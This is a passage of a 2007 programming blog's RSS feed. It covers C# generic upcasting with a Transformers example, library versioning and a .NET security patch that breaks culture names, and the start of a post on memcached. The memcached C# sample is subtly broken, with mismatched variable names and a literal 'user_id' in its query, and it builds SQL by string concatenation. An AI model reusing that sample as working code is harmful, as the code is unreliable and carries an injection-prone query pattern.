&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; bot.Transform();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; Main(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;string&lt;/span&gt;[]
args){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Autobot OptimusPrime &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Autobot&amp;gt; autobots &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; List&amp;lt;Autobot&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; autobots.Add(OptimusPrime);&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon Megatron &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Decepticon&amp;gt; decepticons &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; List&amp;lt;Decepticon&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; decepticons.Add(Megatron);&lt;br&gt;
&lt;b&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(TypeConverter.ToTransformerList(decepticons));&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(TypeConverter.ToTransformerList(autobots)); &lt;/b&gt;
&lt;br&gt;
&amp;nbsp;}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
This works but it's ugly as sin. Anybody got any better ideas?
&lt;/p&gt;
&lt;b&gt;UPDATE:&lt;/b&gt; Lot's of great suggestions in the comments. Since I don't want to go
ahead and modify a huge chunk of methods across our code base, I suspect I'll continue
with the &lt;code&gt;TypeConverter&lt;/code&gt; model. However &lt;a href="http://www.johnspurlock.com/"&gt;John
Spurlock&lt;/a&gt; pointed out that it is much smarter to implement the &lt;code&gt;TypeConverter&lt;/code&gt; using
generics for both input and output parameters instead of way I hacked it together
last night. So our code will look more like 
&lt;br&gt;
&lt;br&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; Cybertron.Transformers;&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; TypeConverter{&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;
&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;pre style="font-size: 11px; font-family: Courier New;"&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;///
&amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;///
Returns a delegate that can be used to cast a subtype back to its base type. &lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;///
&amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;///
&amp;lt;typeparam name="T"&amp;gt;The derived type&amp;lt;/typeparam&amp;gt;&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;///
&amp;lt;typeparam name="U"&amp;gt;The base type&amp;lt;/typeparam&amp;gt;&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;///
&amp;lt;returns&amp;gt;Delegate that can be used to cast a subtype back to its base type.
&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; Converter&amp;lt;T,
U&amp;gt; UpCast&amp;lt;T, U&amp;gt;() where T : U {&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;return&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;delegate&lt;/span&gt;(T
item) { &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;return&lt;/span&gt; (U)item;
};&lt;br&gt;
}&lt;/span&gt;
&lt;br&gt;
}&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; Test{&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; GetReadyForBattle(List&amp;lt;Transformer&amp;gt;
robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(Transformer bot &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/span&gt;(!bot.InRobotMode) 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; bot.Transform();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; Main(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;string&lt;/span&gt;[]
args){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Autobot OptimusPrime &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Autobot&amp;gt; autobots &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; List&amp;lt;Autobot&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; autobots.Add(OptimusPrime);&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon Megatron &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Decepticon&amp;gt; decepticons &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; List&amp;lt;Decepticon&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; decepticons.Add(Megatron);&lt;br&gt;
&lt;b&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(decepticons&lt;/b&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;b&gt;.ConvertAll(TypeConverter.UpCast&amp;lt;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;b&gt;Decepticon&lt;/b&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;b&gt;,
Transformer&amp;gt;()&lt;/b&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;b&gt;));&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(autobots.ConvertAll(TypeConverter.UpCast&amp;lt;Autobot,
Transformer&amp;gt;())); &lt;/b&gt;
&lt;br&gt;
&amp;nbsp;}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;}&lt;/span&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=af7aa888-a227-454c-8687-71fa77186064" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,af7aa888-a227-454c-8687-71fa77186064.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=ea7aa1e3-ffd6-44a4-b620-82290c482bed</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,ea7aa1e3-ffd6-44a4-b620-82290c482bed.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,ea7aa1e3-ffd6-44a4-b620-82290c482bed.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=ea7aa1e3-ffd6-44a4-b620-82290c482bed</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <title>Versioning Libraries: You Can't Eliminate Complexity...</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,ea7aa1e3-ffd6-44a4-b620-82290c482bed.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/07/20/VersioningLibrariesYouCantEliminateComplexity.aspx</link>
      <pubDate>Fri, 20 Jul 2007 02:09:55 GMT</pubDate>
      <description>&lt;p&gt;
One of my favorite quotes about the art of software development is 
&lt;/p&gt;
&lt;blockquote&gt;&lt;em&gt;You cannot eliminate complexity, all you can do is move it around&lt;/em&gt;&lt;/blockquote&gt; 
&lt;p&gt;
This is very true when it comes to designing systems. You should always look with
skepticism when someone tells you that some development tool or technology eliminates
complexity.&amp;nbsp;Usually&amp;nbsp;this means the complexity has been hidden but lurks
just below the surface waiting to ensnare unwary programmers. However on certain rare
occassions, the complex part of the problem is actually solved by the tool or technology
effectively&amp;nbsp;eliminating from the worries of&amp;nbsp;the application developer. This
is very rare. 
&lt;/p&gt;
&lt;p&gt;
A good example of a technology which eliminated complexity for application developers
by moving it into the purvey of runtime frameworks is garbage collection. The complexity
of memory management was eliminated&amp;nbsp;as a concern&amp;nbsp;of application developers
and moved into the domain of application framework developers. This was a win for
the industry since the complexity could be relegated to realm of language runtime
gurus. 
&lt;/p&gt;
&lt;p&gt;
There are lots of examples of technologies that claim to "eliminate complexity" but
actually just move it around in a way that makes the complexity less obvious. This
is often because, the person claiming to be eliminating the complexity fails to acknowledge
where the complexity lies in the first place. For example, when the .NET Framework
was first shipped by Microsoft there were lots of claims that &lt;a href="http://en.wikipedia.org/wiki/DLL_hell"&gt;DLL
Hell&lt;/a&gt; would now be a thing of the past. You can still find &lt;a href="http://www.startvbdotnet.com/extras/dhell.aspx"&gt;blog
posts&lt;/a&gt; and articles like &lt;a href="http://msdn2.microsoft.com/en-us/library/ms973843.aspx"&gt;Simplifying
Deployment and Solving DLL Hell with the .NET Framework&lt;/a&gt; from that era claiming
that "DLL Hell" is solved. The problem with that thinking was that versioning and
keeping libraries backwards compatible is a fundamentally hard problem that often
has no good solution. At the end of the day, you only have two real choices when it
comes to preserving backwards compatibility; never change the existing functionality
of a library or always ensure that applications always run against the original library
they were compiled against so that if the new one changes behavior, they are unaffected.
Both choices are untenable which means there will always be complexity when it comes
to how one handles versioning and system libraries. 
&lt;/p&gt;
&lt;p&gt;
It&amp;rsquo;s been about six years since the first versions of the .NET Framework were
shipped and such hyperbole has died down. Today you can find posts like &lt;a href="http://haacked.com/archive/2007/06/20/what-a-difference-a-revision-makes---iconfigmappath-is-inaccessible.aspx"&gt;What
A Difference A Revision Makes - IConfigMapPath Is Inaccessible Due To Its Protection
Level&lt;/a&gt; and &lt;a href="http://developers.slashdot.org/article.pl?sid=07/07/13/1227225&amp;amp;from=rss"&gt;Microsoft
.NET Patch May Make PCs Go "Haywire"&lt;/a&gt; which indicate that &lt;a href="http://en.wikipedia.org/wiki/DLL_hell"&gt;DLL
Hell&lt;/a&gt; is still alive and well when it comes to programming against the .NET Framework.
&lt;/p&gt;
&lt;p&gt;
This brings me to my point. Recently Shawn Steele of Microsoft wrote a blog post entitled &lt;a href="http://blogs.msdn.com/shawnste/archive/2007/07/11/security-patch-breakes-some-culture-names-for-net-2-0-on-windows-xp-2003-2000.aspx"&gt;Security
patch MS07-040 for .Net 2.0 breaks some culture names for .Net 2.0 on Windows XP/2003/2000&lt;/a&gt; where
he writes &lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;The .Net patch of July 10th, &lt;/em&gt;&lt;a href="http://www.microsoft.com/technet/security/Bulletin/ms07-040.mspx"&gt;&lt;em&gt;ms07-049&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&amp;nbsp;changes&amp;nbsp;culture
names to use the new names on Windows XP/2003/2000 as well as Vista...Unfortunately
this change can break applications that expect the old names.&amp;nbsp; If that happens,
the &lt;/em&gt;&lt;a href="http://blogs.msdn.com/shawnste/archive/2006/10/13/vista-changes-net-2-0-locale-names-sample-work-around-custom-cultures-locales.aspx" mce_href="http://blogs.msdn.com/shawnste/archive/2006/10/13/vista-changes-net-2-0-locale-names-sample-work-around-custom-cultures-locales.aspx"&gt;&lt;em&gt;workaround&lt;/em&gt;&lt;/a&gt;&lt;em&gt; of
creating custom cultures might work for your application. &lt;/em&gt;
&lt;br /&gt;
&lt;em&gt;&amp;hellip;&lt;/em&gt;
&lt;br /&gt;
&lt;em&gt;Potential problems experienced by applications could be:&lt;/em&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;client/server communication because one used the old names and one used the new
names.&amp;nbsp; A workaround is to create custom cultures with the old names and choose
a parent fallback for them.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Visual Studio projects probably need migrated to use the new names for the resources,
otherwise there could be confusion compiling and&amp;nbsp;loading resources.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;If this is your system locale there could be problems loading resources using
the old name, depending on the behavior.&amp;nbsp; In this case creating custom cultures
for the old names and replacements for the new names with the old names as the parent
culture may solve the problem.&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
This problem affects the following cultures supported by &lt;a href="http://www.rssbandit.org/"&gt;RSS
Bandit&lt;/a&gt;; zh-CHT-&amp;gt;Chinese (Traditional), zh-CHS-&amp;gt;Chinese (Simplified), sr-SP-Cyrl-&amp;gt;Serbian
(Cyril), and sr-SP-Latn (Latin). 
&lt;/p&gt;
&lt;p&gt;
The blog post is unclear but it sounds like &lt;a href="http://www.rssbandit.org/"&gt;RSS
Bandit&lt;/a&gt;&amp;nbsp;may for our Chinese and Serbian users who have updated their versions
of the .NET Framework. However I&amp;rsquo;m not 100% sure this is the case. If you are
an &lt;a href="http://www.rssbandit.org/"&gt;RSS Bandit&lt;/a&gt;&amp;nbsp;user whose environment
is set to Chinese or Serbian and have applied the recent .NET Framework security patch,
please respond to this comment with information about any problems you are facing
or let me know if there are no problems. 
&lt;/p&gt;
&lt;p&gt;
Thanks for your continued support. 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=T.I."&gt;T.I.&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Big Things Poppin (Do It)&amp;amp;artistTerm=T.I."&gt;Big
Things Poppin (Do It)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=ea7aa1e3-ffd6-44a4-b620-82290c482bed" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,ea7aa1e3-ffd6-44a4-b620-82290c482bed.aspx</comments>
      <category>Programming</category>
      <category>RSS Bandit</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=3109dc37-49f8-4249-baf1-56d4c6158321</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,3109dc37-49f8-4249-baf1-56d4c6158321.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,3109dc37-49f8-4249-baf1-56d4c6158321.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=3109dc37-49f8-4249-baf1-56d4c6158321</wfw:commentRss>
      <slash:comments>13</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
In my previous post, I mentioned that I'm in the early stages of building an application
on the <a href="http://developer.facebook.com/">Facebook platform</a>. I haven't yet
decided on an application but for now, let's assume that it is a <b>Favorite Comic
Books application</b> which allows me to store my favorite comic books and shows me
to most popular comic books among my friends. 
</p>
        <p>
After investigating using Amazon's <a href="http://www.amazon.com/ec2">EC2</a> + <a href="http://www.amazon.com/s3">S3</a> to
build my application I've decided that I'm better off using a traditional hosting
solution running either a on the 
<abbr title="Linux Apache MySQL Perl/PHP/Python">
LAMP
</abbr>
or 
<abbr title="Windows IIS SQL-Server C#">
WISC
</abbr>
platform. One of the things I've been looking at is which platform has better support
for providing an in-memory caching solution that works well in the context of a Web
farm (i.e. multiple Web servers) out of the box. While working on the platforms behind
several high traffic Windows Live services I've learned  that you should be <i>prepared</i> for
dealing with scalability issues <b>and </b>caching is one of the best ways to get
bang for the buck when improving the scalability of your service. 
</p>
        <p>
I recently discovered <a href="http://www.danga.com/memcached">memcached</a> which
is a distributed, object caching system originally developed by <a href="http://brad.livejournal.com/">Brad
Fitzpatrick</a> of <a href="http://www.livejournal.com">LiveJournal</a> fame. You
can think of <a href="http://www.danga.com/memcached">memcached</a> as a giant hash
table that can run on multiple servers which automatically handles maintaining the
balance of objects hashed to each server and transparently fetches/removes objects
from over the network if they aren't on the same machine that is accessing an object
in the hash table. Although this sounds fairly simple, there is a lot of grunt work
in building a distributed object cache which handles data partitioning across multiple
servers and hides the distributed nature of the application from the developer. <a href="http://www.danga.com/memcached">memcached</a> is
a well integrated into the typical 
<abbr title="Linux Apache MySQL Perl/PHP/Python">
LAMP
</abbr>
stack and is used by a surprising number of high traffic websites including <a href="http://lists.danga.com/pipermail/memcached/2003-July/000017.html">Slashdot</a>, <a href="http://lists.danga.com/pipermail/memcached/2007-May/004098.html">Facebook</a>, <a href="http://lists.danga.com/pipermail/memcached/2006-June/002384.html">Digg</a>, <a href="http://lists.danga.com/pipermail/memcached/2005-November/001726.html">Flickr</a> and <a href="http://meta.wikimedia.org/wiki/Cache_strategy">Wikipedia</a>.
Below is what C# code that utilizes <a href="http://www.danga.com/memcached">memcached</a> would
look like sans exception handling code 
<br /></p>
        <blockquote>
          <p>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">public</span> ArrayList
GetFriends(<span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">int</span> user_id){<br /><br />
    ArrayList friends <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> (ArrayList)
myCache.Get(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"friendslist:"</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> userid); 
<br /><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">   
if</span>(friends == <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">null</span>){<br /></span>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">
              </span>
            </span>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    // Open the connection</span>
              <br />
        dbConnection.Open();<br /><br />
        SqlCommand cmd <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">new</span> SqlCommand(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"select
friend_id from friends_list where owner_id="</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span><span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"user_id"</span>,
dbConnection);<br /><br />
        SqlDataReader reader <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> cmd.ExecuteReader();<br /><br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">  
     // Add each friend ID to the list</span><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    while</span> (reader.Read()){<br />
            friends.Add(rdr[0]);<br />
        } </span>
          </p>
          <pre style="font-size: 11px; font-family: Courier New;">
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> reader.Close();</span>
            <br />
       dbConnection.Close();       
   <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> 
     </span><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"></span></pre>
          <p>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    myCache.Set(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"friendslist:"</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> userid,
friends); 
<br />
    } 
<br /><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">   
return</span> friends; 
<br />
}</span>
          </p>
          <p>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">public</span>
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">void</span> AddFriend(<span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">int</span> user_id, <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">int</span> new_friends_id){<br /><br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
// Open the connection</span><br />
    dbConnection.Open();<br /></span>
          </p>
          <pre style="font-size: 11px; font-family: Courier New;">
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> SqlCommand
cmd <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">new</span> SqlCommand(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"insert
into friends_list (owner_id, friend_id) values ("</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> user_id <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span><span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">","</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> new_friend_id <span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">")"</span>;</span>
            <br />
   cmd.ExecuteNonQuery();<br /></pre>
          <p>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
//remove key from cache since friends list has been updated</span>
              <br />
    myCache.Delete(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"friendslist:"</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> userid); 
<br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"></span><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"></span>   
dbConnection .Close();  
<br />
}</span>
          </p>
        </blockquote>
        <p>
The benefits of the using of the cache should be pretty obvious. I no longer need
to hit the database after the first request to retrieve the user's friend list which
means faster performance in servicing the request and less I/O.  The <a href="http://www.danga.com/memcached">memcached</a> automatically
handles purging items out of the cache when it hits the size limit and also deciding
which cache servers should hold individual key&lt;-&gt;value pairs. 
<br /></p>
        <p>
I hang with a number of Web developers on the 
<abbr title="Windows IIS SQL-Server C#">
WISC
</abbr>
platform and I don't think I've ever heard anyone mention <a href="http://www.danga.com/memcached">memcached</a> or
anything like it.In fact I couldn't find a mention of it on <a href="http://search.live.com/results.aspx?q=site%3Ablogs.msdn.com+memcached&amp;mkt=en-us&amp;FORM=LIVSOP&amp;go.x=0&amp;go.y=0&amp;go=Search">Microsoft
employee blogs</a>, <a href="http://search.live.com/results.aspx?q=site%3Aweblogs.asp.net+memcached&amp;go.x=0&amp;go.y=0&amp;form=QBRE">ASP.NET
developer blogs</a> or on <a href="http://search.live.com/results.aspx?q=site%3Amsdn.microsoft.com+memcached&amp;go.x=0&amp;go.y=0&amp;form=QBNO">MSDN</a>.
So I wondered what the average 
<abbr title="Windows IIS SQL-Server C#">
WISC
</abbr>
developer uses as their in-memory caching solution. 
</p>
        <p>
After looking around a bit, I came to the conclusion that most 
<abbr title="Windows IIS SQL-Server C#">
WISC
</abbr>
developers use the built-in <a href="http://msdn2.microsoft.com/en-us/library/xsbfdd8c%28vs.80%29.aspx">ASP.NET
caching features</a>. ASP.NET provides a number of in-memory caching features including
a <a href="http://msdn2.microsoft.com/en-us/library/6hbbsfk6%28VS.80%29.aspx">Cache
